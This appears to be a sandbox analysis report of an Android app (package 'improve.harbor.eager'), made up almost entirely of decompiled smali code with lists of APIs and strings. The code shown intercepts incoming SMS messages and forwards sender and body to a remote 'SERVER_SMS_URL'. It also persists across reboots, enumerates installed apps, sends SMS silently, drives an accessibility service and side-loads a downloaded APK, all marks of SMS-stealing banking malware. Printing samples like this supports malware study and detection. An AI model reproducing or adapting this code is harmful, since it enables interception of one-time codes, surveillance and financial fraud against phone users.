                                            3iput-object v0, p0, Limprove/harbor/eager/sms/IncomingSmsListener;->a:Limprove/harbor/eager/g;
                                            5invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                                            6move-result-object v0
                                            7if-nez v0, :cond_d
                                            8cond_c: return-void
                                            9cond_d:
                                            10invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                                            11move-result-object v0
                                            13const-string v1, "android.provider.Telephony.SMS_RECEIVED"
                                            15invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            16move-result v0
                                            17if-eqz v0, :cond_c
                                            19invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
                                            20move-result-object v0
                                            21if-eqz v0, :cond_c
                                            22try_start_1f:
                                            23const-string v1, "pdus"
                                            25invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
                                            26move-result-object v0
                                            27check-cast v0, [Ljava/lang/Object;
                                            28check-cast v0, [Ljava/lang/Object;
                                            29if-eqz v0, :cond_c
                                            30array-length v1, v0
                                            31new-array v3, v1, [Landroid/telephony/SmsMessage;
                                            32const/4 v1, 0x0
                                            33move v2, v1
                                            34goto_30: array-length v1, v3
                                            35if-ge v2, v1, :cond_c
                                            36aget-object v1, v0, v2
                                            37check-cast v1, [B
                                            38check-cast v1, [B
                                            40invoke-static {v1}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
                                            41move-result-object v1
                                            42aput-object v1, v3, v2
                                            43aget-object v1, v3, v2
                                            45invoke-virtual {v1}, Landroid/telephony/SmsMessage;->getOriginatingAddress()Ljava/lang/String;
                                            46move-result-object v1
                                            47aget-object v4, v3, v2
                                            49invoke-virtual {v4}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;
                                            50move-result-object v4
                                            52const-string v5, "TXT_C_13"
                                            54invoke-static {v5}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            55move-result-object v5
                                            56new-instance v6, Ljava/lang/StringBuilder;
                                            58const-string v7, "SMS : "
                                            60invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                            62invoke-virtual {v6, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            63move-result-object v6
                                            65const-string v7, "PHONE: "
                                            67invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            68move-result-object v6
                                            70invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            71move-result-object v6
                                            73invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            74move-result-object v6
                                            76invoke-static {p1, v5, v6}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            77new-instance v5, Limprove/harbor/eager/q;
                                            79iget-object v6, p0, Limprove/harbor/eager/sms/IncomingSmsListener;->a:Limprove/harbor/eager/g;
                                            81const-string v7, "SERVER_SMS_URL"
                                            83invoke-virtual {v6, v7}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            84move-result-object v6
                                            86invoke-direct {p0, v1, v4}, Limprove/harbor/eager/sms/IncomingSmsListener;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                            87move-result-object v1
                                            89invoke-direct {v5, v6, v1}, Limprove/harbor/eager/q;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                            90new-instance v1, Ljava/lang/Thread;
                                            92invoke-direct {v1, v5}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                                            94invoke-virtual {v1}, Ljava/lang/Thread;->start()V
                                            96iget-object v1, p0, Limprove/harbor/eager/sms/IncomingSmsListener;->a:Limprove/harbor/eager/g;
                                            98const-string v4, "PING_SERVICE_WORKING"
                                            100invoke-virtual {v1, v4}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            101move-result-object v1
                                            103invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                                            104move-result v1
                                            105const/4 v4, 0x1
                                            106if-ne v1, v4, :cond_af
                                            108const-string v1, "TXT_C_13"
                                            110invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            111move-result-object v1
                                            113const-string v4, "TXT_97"
                                            115invoke-static {v4}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            116move-result-object v4
                                            118invoke-static {p1, v1, v4}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            120invoke-static {}, Limprove/harbor/eager/MainServiceJob;->a()Limprove/harbor/eager/MainServiceJob;
                                            121move-result-object v1
                                            123invoke-virtual {v1}, Limprove/harbor/eager/MainServiceJob;->b()V
                                            124goto_ab: add-int/lit8 v1, v2, 0x1
                                            125move v2, v1
                                            126goto/16 :goto_30
                                            127cond_af:
                                            128const-string v1, "TXT_C_13"
                                            130invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            131move-result-object v1
                                            133const-string v4, "TXT_96"
                                            135invoke-static {v4}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            136move-result-object v4
                                            138invoke-static {p1, v1, v4}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            140const-string v1, "TXT_96"
                                            142invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            143move-result-object v1
                                            145invoke-static {p1, v1}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            147invoke-static {}, Limprove/harbor/eager/MainService;->a()Limprove/harbor/eager/MainService;
                                            148move-result-object v1
                                            150invoke-virtual {v1, v1}, Limprove/harbor/eager/MainService;->a(Landroid/content/Context;)V
                                            151try_end_ce: goto/16 :goto_ab
                                            152catch_cf: move-exception v0
                                            153goto/16 :goto_c
                                            APIs
                                            • android.content.Intent.getAction
                                            • java.lang.Integer.intValue
                                            • java.lang.System.exit
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • android.content.Intent.<init>
                                            • android.content.Intent.<init>
                                            • java.lang.String.contains
                                            • java.lang.String.contains
                                            • java.lang.Integer.intValue
                                            • android.content.Context.startForegroundService
                                            • android.content.Context.startForegroundService
                                            • java.lang.String.contains
                                            • java.lang.Integer.intValue
                                            • android.content.Context.startService
                                            • android.content.Context.startService
                                            Strings
                                            • KILLED
                                            • Broadcast Main Receiver
                                            • KILLING APP
                                            • TXT_C_9
                                            • TXT_82
                                            • BOOT_COMPLETED
                                            • QUICKBOOT_POWERON
                                            • TXT_83
                                            • ACCESSIBILITY_RUNNING
                                            • PACKAGE_REPLACED
                                            • TXT_84
                                            Position Instruction Meta Information
                                            0const/4 v5, 0x1
                                            2invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                                            3move-result-object v0
                                            5invoke-static {p1}, Limprove/harbor/eager/g;->a(Landroid/content/Context;)Limprove/harbor/eager/g;
                                            6move-result-object v1
                                            8const-string v2, "KILLED"
                                            10invoke-virtual {v1, v2}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            11move-result-object v2
                                            13invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                                            14move-result v2
                                            15if-ne v2, v5, :cond_20
                                            17const-string v2, "Broadcast Main Receiver"
                                            19const-string v3, "KILLING APP"
                                            21invoke-static {p1, v2, v3}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            22const/4 v2, 0x0
                                            24invoke-static {v2}, Ljava/lang/System;->exit(I)V
                                            25cond_20:
                                            26const-string v2, "TXT_C_9"
                                            28invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            29move-result-object v2
                                            30new-instance v3, Ljava/lang/StringBuilder;
                                            32invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                            34const-string v4, "TXT_82"
                                            36invoke-static {v4}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            37move-result-object v4
                                            39invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            40move-result-object v3
                                            42invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            43move-result-object v3
                                            45invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            46move-result-object v3
                                            48invoke-static {p1, v2, v3}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            49if-eqz v0, :cond_90
                                            50new-instance v2, Landroid/content/Intent;
                                            51const-class v3, Limprove/harbor/eager/MainService;
                                            53invoke-direct {v2, p1, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            54new-instance v3, Landroid/content/Intent;
                                            55const-class v4, Limprove/harbor/eager/AccessibilityWatcher;
                                            57invoke-direct {v3, p1, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            59const-string v4, "BOOT_COMPLETED"
                                            61invoke-virtual {v0, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            62move-result v4
                                            63if-nez v4, :cond_60
                                            65const-string v4, "QUICKBOOT_POWERON"
                                            67invoke-virtual {v0, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            68move-result v4
                                            69if-eqz v4, :cond_91
                                            70cond_60:
                                            71const-string v0, "TXT_C_9"
                                            73invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            74move-result-object v0
                                            76const-string v4, "TXT_83"
                                            78invoke-static {v4}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            79move-result-object v4
                                            81invoke-static {p1, v0, v4}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            83const-string v0, "TXT_83"
                                            85invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            86move-result-object v0
                                            88invoke-static {p1, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            89goto_78: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                            90const/16 v4, 0x1a
                                            91if-lt v0, v4, :cond_b2
                                            93const-string v0, "ACCESSIBILITY_RUNNING"
                                            95invoke-virtual {v1, v0}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            96move-result-object v0
                                            98invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            99move-result v0
                                            100if-eq v0, v5, :cond_8d
                                            102invoke-virtual {p1, v3}, Landroid/content/Context;->startForegroundService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                            103cond_8d:
                                            104invoke-virtual {p1, v2}, Landroid/content/Context;->startForegroundService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                            105cond_90: return-void
                                            106cond_91:
                                            107const-string v4, "PACKAGE_REPLACED"
                                            109invoke-virtual {v0, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            110move-result v0
                                            111if-eqz v0, :cond_78
                                            113const-string v0, "TXT_C_9"
                                            115invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            116move-result-object v0
                                            118const-string v4, "TXT_84"
                                            120invoke-static {v4}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            121move-result-object v4
                                            123invoke-static {p1, v0, v4}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            125const-string v0, "TXT_84"
                                            127invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            128move-result-object v0
                                            130invoke-static {p1, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            131goto/16 :goto_78
                                            132cond_b2:
                                            133const-string v0, "ACCESSIBILITY_RUNNING"
                                            135invoke-virtual {v1, v0}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            136move-result-object v0
                                            138invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            139move-result v0
                                            140if-eq v0, v5, :cond_c1
                                            142invoke-virtual {p1, v3}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                            143cond_c1:
                                            144invoke-virtual {p1, v2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                            145goto/16 :goto_90
                                            Cross References
                                            APIs
                                            • improve.harbor.eager.MainServiceJob.getPackageManager
                                            • android.content.pm.PackageManager.getInstalledApplications
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.util.ArrayList.<init>
                                            • java.util.ArrayList.add
                                            • java.util.ArrayList.add
                                            • java.util.ArrayList.add
                                            • java.util.ArrayList.add
                                            • java.util.ArrayList.add
                                            • java.util.ArrayList.add
                                            • java.util.List.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                                            • java.util.ArrayList.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.lang.String.contains
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            Strings
                                            • TXT_106
                                            • com.huawei
                                            • com.samsung
                                            • com.android
                                            • com.google
                                            • org.chromium
                                            • com.sec.android
                                            • <BR>
                                            Position Instruction Meta Information
                                            1invoke-virtual {p0}, Limprove/harbor/eager/MainServiceJob;->getPackageManager()Landroid/content/pm/PackageManager;
                                            2move-result-object v0
                                            3const/16 v1, 0x80
                                            5invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
                                            6move-result-object v0
                                            7new-instance v2, Ljava/lang/StringBuilder;
                                            9invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                            11const-string v1, "TXT_106"
                                            13invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            14move-result-object v1
                                            16invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            17new-instance v3, Ljava/util/ArrayList;
                                            19invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
                                            21const-string v1, "com.huawei"
                                            23invoke-virtual {v3, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            25const-string v1, "com.samsung"
                                            27invoke-virtual {v3, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            29const-string v1, "com.android"
                                            31invoke-virtual {v3, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            33const-string v1, "com.google"
                                            35invoke-virtual {v3, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            37const-string v1, "org.chromium"
                                            39invoke-virtual {v3, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            41const-string v1, "com.sec.android"
                                            43invoke-virtual {v3, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            45invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                            46move-result-object v4
                                            47cond_3f:
                                            48invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                                            49move-result v0
                                            50if-eqz v0, :cond_76
                                            52invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            53move-result-object v0
                                            54check-cast v0, Landroid/content/pm/ApplicationInfo;
                                            56iget-object v5, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                                            57if-eqz v5, :cond_3f
                                            58const/4 v0, 0x1
                                            60invoke-virtual {v3}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                                            61move-result-object v6
                                            62move v1, v0
                                            63goto_55:
                                            64invoke-interface {v6}, Ljava/util/Iterator;->hasNext()Z
                                            65move-result v0
                                            66if-eqz v0, :cond_6a
                                            68invoke-interface {v6}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            69move-result-object v0
                                            70check-cast v0, Ljava/lang/String;
                                            72invoke-virtual {v5, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            73move-result v0
                                            74if-eqz v0, :cond_7e
                                            75const/4 v0, 0x0
                                            76goto_68: move v1, v0
                                            77goto/16 :goto_55
                                            78cond_6a: if-eqz v1, :cond_3f
                                            80invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            81move-result-object v0
                                            83const-string v1, "<BR>"
                                            85invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            86goto/16 :goto_3f
                                            87cond_76:
                                            88invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            89move-result-object v0
                                            91invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            92return-void
                                            93cond_7e: move v0, v1
                                            94goto/16 :goto_68
                                            APIs
                                            • java.lang.StringBuilder.<init>
                                            • android.os.Environment.DIRECTORY_DOWNLOADS:Ljava/lang/String
                                            • android.os.Environment.getExternalStoragePublicDirectory
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • improve.harbor.eager.receivers.DownloadReceiver.a:Limprove/harbor/eager/g
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.io.File.<init>
                                            • java.lang.Class.getMethod
                                            • java.lang.reflect.Method.invoke
                                            • java.io.File.exists
                                            • android.content.Intent.<init>
                                            • android.content.Intent.setFlags
                                            • android.content.Intent.putExtra
                                            • java.io.File.<init>
                                            • android.net.Uri.fromFile
                                            • android.content.Intent.setData
                                            • android.content.Context.startActivity
                                            • java.lang.Exception.printStackTrace
                                            Strings
                                            • TXT_C_4
                                            • TXT_26
                                            • /
                                            • UPDATE_FILENAME
                                            • disableDeathOnFileUriExposure
                                            • android.intent.action.INSTALL_PACKAGE
                                            • android.intent.extra.RETURN_RESULT
                                            • TXT_27
                                            Position Instruction Meta Information
                                            1const-string v0, "TXT_C_4"
                                            3invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            4move-result-object v0
                                            6const-string v1, "TXT_26"
                                            8invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            9move-result-object v1
                                            11invoke-static {p1, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            13invoke-static {p1}, Limprove/harbor/eager/g;->a(Landroid/content/Context;)Limprove/harbor/eager/g;
                                            14move-result-object v0
                                            15iput-object v0, p0, Limprove/harbor/eager/receivers/DownloadReceiver;->a:Limprove/harbor/eager/g;
                                            16new-instance v0, Ljava/lang/StringBuilder;
                                            18invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                            20sget-object v1, Landroid/os/Environment;->DIRECTORY_DOWNLOADS:Ljava/lang/String;
                                            22invoke-static {v1}, Landroid/os/Environment;->getExternalStoragePublicDirectory(Ljava/lang/String;)Ljava/io/File;
                                            23move-result-object v1
                                            25invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                            26move-result-object v0
                                            28const-string v1, "/"
                                            30invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            31move-result-object v0
                                            33iget-object v1, p0, Limprove/harbor/eager/receivers/DownloadReceiver;->a:Limprove/harbor/eager/g;
                                            35const-string v2, "UPDATE_FILENAME"
                                            37invoke-virtual {v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            38move-result-object v1
                                            40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            41move-result-object v0
                                            43invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            44move-result-object v1
                                            45new-instance v2, Ljava/io/File;
                                            47invoke-direct {v2, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                            48sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                            49const/16 v3, 0x18
                                            50if-lt v0, v3, :cond_57
                                            51try_start_45: const-class v0, Landroid/os/StrictMode;
                                            53const-string v3, "disableDeathOnFileUriExposure"
                                            54const/4 v4, 0x0
                                            55new-array v4, v4, [Ljava/lang/Class;
                                            57invoke-virtual {v0, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                            58move-result-object v0
                                            59const/4 v3, 0x0
                                            60const/4 v4, 0x0
                                            61new-array v4, v4, [Ljava/lang/Object;
                                            63invoke-virtual {v0, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                            64try_end_57:
                                            65invoke-virtual {v2}, Ljava/io/File;->exists()Z
                                            66move-result v0
                                            67if-eqz v0, :cond_7e
                                            68new-instance v0, Landroid/content/Intent;
                                            70const-string v2, "android.intent.action.INSTALL_PACKAGE"
                                            72invoke-direct {v0, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                            73const/high16 v2, 0x10000000
                                            75invoke-virtual {v0, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                            77const-string v2, "android.intent.extra.RETURN_RESULT"
                                            78const/4 v3, 0x1
                                            80invoke-virtual {v0, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
                                            81new-instance v2, Ljava/io/File;
                                            83invoke-direct {v2, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                            85invoke-static {v2}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
                                            86move-result-object v1
                                            88invoke-virtual {v0, v1}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
                                            90invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                            91cond_7e:
                                            92const-string v0, "TXT_27"
                                            94invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            95move-result-object v0
                                            97invoke-static {p1, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            98return-void
                                            99catch_88: move-exception v0
                                            101invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                            102goto/16 :goto_57
                                            Cross References
                                            APIs
                                            • improve.harbor.eager.MainServiceJob.checkSelfPermission
                                            • improve.harbor.eager.MainServiceJob.e
                                            • android.telephony.SmsManager.getDefault
                                            • android.telephony.SmsManager.sendTextMessage
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • android.os.Handler.<init>
                                            • android.os.Handler.postDelayed
                                            Strings
                                            • android.permission.READ_PHONE_STATE
                                            • Read Phone State permissions not allowed...
                                            • TXT_19
                                            • :
                                            • TXT_C_3
                                            • TXT_20
                                            Position Instruction Meta Information
                                            0const/4 v2, 0x0
                                            1sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                            2const/16 v1, 0x17
                                            3if-lt v0, v1, :cond_18
                                            5const-string v0, "android.permission.READ_PHONE_STATE"
                                            7invoke-virtual {p0, v0}, Limprove/harbor/eager/MainServiceJob;->checkSelfPermission(Ljava/lang/String;)I
                                            8move-result v0
                                            9if-eqz v0, :cond_18
                                            11const-string v0, "Read Phone State permissions not allowed..."
                                            13invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            15invoke-direct {p0}, Limprove/harbor/eager/MainServiceJob;->e()V
                                            16goto_17: return-void
                                            17cond_18: const/4 v0, 0x1
                                            18sput-boolean v0, Limprove/harbor/eager/AccessibilityS;->f:Z
                                            20invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
                                            21move-result-object v0
                                            22move-object v1, p1
                                            23move-object v3, p2
                                            24move-object v4, v2
                                            25move-object v5, v2
                                            27invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
                                            28new-instance v0, Ljava/lang/StringBuilder;
                                            30invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                            32const-string v1, "TXT_19"
                                            34invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            35move-result-object v1
                                            37invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            38move-result-object v0
                                            40invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            41move-result-object v0
                                            43const-string v1, " : "
                                            45invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            46move-result-object v0
                                            48invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            49move-result-object v0
                                            51invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            52move-result-object v0
                                            54invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            56const-string v0, "TXT_C_3"
                                            58invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            59move-result-object v0
                                            60new-instance v1, Ljava/lang/StringBuilder;
                                            62invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                            64const-string v2, "TXT_20"
                                            66invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            67move-result-object v2
                                            69invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            70move-result-object v1
                                            72invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            73move-result-object v1
                                            75invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            76move-result-object v1
                                            78invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            79new-instance v0, Landroid/os/Handler;
                                            81invoke-direct {v0}, Landroid/os/Handler;-><init>()V
                                            83sget-object v1, Limprove/harbor/eager/h;->a:Ljava/lang/Runnable;
                                            84const-wide/16 v2, 0x1f40
                                            86invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                            87goto/16 :goto_17
                                            Cross References
                                            APIs
                                            • android.content.Intent.<init>
                                            • android.content.Context.getPackageName
                                            • android.content.Intent.setAction
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • android.net.Uri.parse
                                            • android.content.Intent.setData
                                            • improve.harbor.eager.Permissions.startActivity
                                            Strings
                                            • android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
                                            • package:
                                            Position Instruction Meta Information
                                            0.annotation build Landroid/annotation/SuppressLint;
                                            1value = {
                                            2"BatteryLife"
                                            3}
                                            4.end annotation
                                            5new-instance v0, Landroid/content/Intent;
                                            7invoke-direct {v0}, Landroid/content/Intent;-><init>()V
                                            9invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                            10move-result-object v1
                                            12const-string v2, "android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"
                                            14invoke-virtual {v0, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
                                            15new-instance v2, Ljava/lang/StringBuilder;
                                            17const-string v3, "package:"
                                            19invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                            21invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            22move-result-object v1
                                            24invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            25move-result-object v1
